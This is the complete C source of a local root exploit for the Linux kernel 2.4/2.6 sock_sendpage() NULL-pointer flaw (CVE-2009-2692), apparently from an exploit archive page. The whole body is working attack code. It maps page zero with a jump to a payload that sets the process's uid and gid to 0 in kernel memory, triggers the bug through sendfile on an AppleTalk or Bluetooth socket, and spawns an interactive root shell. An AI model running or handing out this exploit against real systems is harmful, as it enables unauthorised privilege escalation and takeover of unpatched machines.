Linux 2.4/2.6 sock_sendpage() Local ring0 Root Exploit

                							

                /*
**
** 0x82-CVE-2009-2692
** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x.
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** spender and venglin's code is very excellent.
** Thankful to them.
**
** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
**         Przemyslaw Frasunek <venglin(at)czuby(dot)pl>.
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
** "Slow and dirty exploit for this one"
**
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;

void kernel_code()
{
  unsigned long where=0;
  unsigned long *pcb_task_struct;

  where=(unsigned long )&where;
  where&=~8191;
  pcb_task_struct=(unsigned long *)where;

  while(pcb_task_struct){
    if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
      pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
      pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
      pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
      pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
      pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
      break;
    }
    pcb_task_struct++;
  }
  return;
  /*
  ** By calling iret after pushing a register into kernel stack,
  ** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
  **
  ** kernel_code() function will return to its previous status which means before sendfile() system call,
  ** after operating upon a ring0(kernel mode) privilege level.
  ** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
  */
}
void *kernel=kernel_code;

int main(int argc,char *argv[])
{
  int fd_in=0,fd_out=0,offset=1;
  void *zero_page;

  uid=getuid();
  gid=getgid();
  if(uid==0){
    fprintf(stderr,"[-] check ur uid\n");
    return -1;
  }

  /*
  ** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
  */
  if(personality(0xffffffff)==PER_SVR4){
    if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
      perror("[-] mprotect()");
      return -1;
    }
  }
  else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
      perror("[-] mmap()");
      return -1;
  }
  *(char *)0x00000000=0xff;
  *(char *)0x00000001=0x25;
  *(unsigned long *)0x00000002=(unsigned long)&kernel;
  *(char *)0x00000006=0xc3;

  if((fd_in=open(argv[0],O_RDONLY))==-1){
    perror("[-] open()");
    return -1;
  }
  if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
    if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
      perror("[-] socket()");
      return -1;
    }
  }
gogossing:
  /*
  ** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
  ** an attacker can make all the processes runing under current user uid 0.
  */
  if(sendfile(fd_out,fd_in,&offset,2)==-1){
    if(offset==0){
      perror("[-] sendfile()");
      return -1;
    }
    close(fd_out);
    fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
  }
  if(getuid()==uid){
    if(offset){
      offset=0;
    }
    goto gogossing; /* all process */
  }
  close(fd_in);
  close(fd_out);

  execl("/bin/sh","sh","-i",NULL);
  return 0;
}

/* eoc */

<p>